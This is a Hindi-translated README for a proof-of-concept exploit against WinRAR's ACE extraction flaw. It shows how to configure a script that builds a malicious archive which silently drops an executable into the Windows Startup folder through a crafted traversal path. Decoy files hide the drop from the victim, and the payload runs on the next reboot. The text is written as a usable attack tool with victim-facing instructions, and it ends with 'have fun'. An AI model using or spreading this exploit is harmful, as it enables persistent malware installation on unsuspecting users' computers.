
Winrar से कोड निष्पादन निकालना के लिए exp
Ridter द्वारा poc
उपयोग कैसे करें?
आपको बस python 3.7 इंस्टॉल करना है, और वह evil फ़ाइल तैयार करनी है जिसे आप चलाना चाहते हैं, अपने इच्छित मान सेट करें, यह exp स्क्रिप्ट स्वचालित रूप से evil archive फ़ाइल उत्पन्न करेगी!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
exp चलाएँ, exp स्वचालित रूप से test.rar उत्पन्न करेगा
यदि पीड़ित test.rar खोलता है, तो उसे hello.txt और world.txt फ़ाइलें दिखाई देंगी, आप और भी फ़ाइलें, अधिक आकर्षक फ़ाइलें जोड़ सकते हैं।
![]()
hi.exe नाम की एक और फ़ाइल आ जाएगी, वास्तव में यह एक calc.exe है। जब वह कंप्यूटर पुनः आरंभ करता है, तो hi.exe चलेगा।![]()
मज़े करें! :)